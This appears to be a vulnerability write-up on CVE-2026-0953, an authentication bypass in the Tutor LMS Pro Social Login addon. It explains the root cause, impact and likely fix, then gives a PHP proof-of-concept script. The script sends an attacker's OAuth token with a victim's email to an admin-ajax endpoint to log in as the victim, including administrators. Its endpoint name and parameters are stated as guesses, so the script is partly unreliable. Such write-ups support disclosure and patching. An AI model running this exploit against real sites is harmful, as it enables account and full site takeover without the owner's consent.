Atomic Edge analysis of CVE-2026-0953 (metadata-based):
This vulnerability is an authentication bypass in the Tutor LMS Pro plugin’s Social Login addon. The root cause is CWE-287, Improper Authentication. The vulnerability description confirms the plugin fails to verify that the email address supplied in the authentication request matches the email address associated with the validated OAuth token. This flaw allows an attacker to present a valid OAuth token from their own social media account while specifying a victim’s email address. The plugin incorrectly authenticates the request as the victim.
Atomic Edge research infers the attack vector is likely a WordPress AJAX handler or a custom REST API endpoint used by the Social Login addon for processing OAuth callbacks. The endpoint accepts both an OAuth token and an email parameter. The plugin validates the token but does not cross-check the token’s associated email with the submitted email parameter. An attacker can intercept or modify the authentication request, replacing the email parameter with a target user’s email address.
Exploitation requires an attacker to first obtain a valid OAuth token for their own account from the configured social provider (e.g., Google, Facebook). The attacker then crafts a request to the plugin’s authentication endpoint, supplying their valid token and the victim’s email. The plugin logs the attacker in as the victim. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates this is network-exploitable, requires low attack complexity, no privileges, and no user interaction, leading to a complete compromise of confidentiality, integrity, and availability.
The fix in version 3.9.6 likely involves adding a server-side verification step. After validating the OAuth token, the plugin must retrieve the email address associated with that token from the OAuth provider’s userinfo endpoint or the token’s payload. The plugin must then compare this retrieved email with the email parameter submitted in the request. If they do not match, authentication must fail.
Impact is critical. Successful exploitation grants an unauthenticated attacker access to any existing WordPress user account, including administrators. This leads to full site takeover, data theft, and arbitrary code execution via plugin or theme editing capabilities.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0953 - Tutor LMS Pro <= 3.9.5 - Authentication Bypass via Social Login
<?php
// CONFIGURATION
$target_url = 'https://example.com'; // Target WordPress site URL
$victim_email = 'admin@example.com'; // Email of the user to impersonate
$attacker_oauth_token = 'VALID_OAUTH_TOKEN_HERE'; // Valid OAuth token from attacker's social account
// ASSUMPTIONS:
// 1. The plugin uses an AJAX handler for social login processing.
// 2. The vulnerable endpoint is '/wp-admin/admin-ajax.php' with action 'tutor_pro_social_login'.
// 3. The endpoint accepts parameters 'oauth_token' and 'email'.
// 4. The plugin does not validate token-email correspondence.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'tutor_pro_social_login', // Inferred AJAX action name
'oauth_token' => $attacker_oauth_token,
'email' => $victim_email,
'provider' => 'google' // Assumed provider parameter; adjust if needed
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploit may return a JSON success response and set authentication cookies.
// Verify by accessing a privileged page like /wp-admin/.
?>
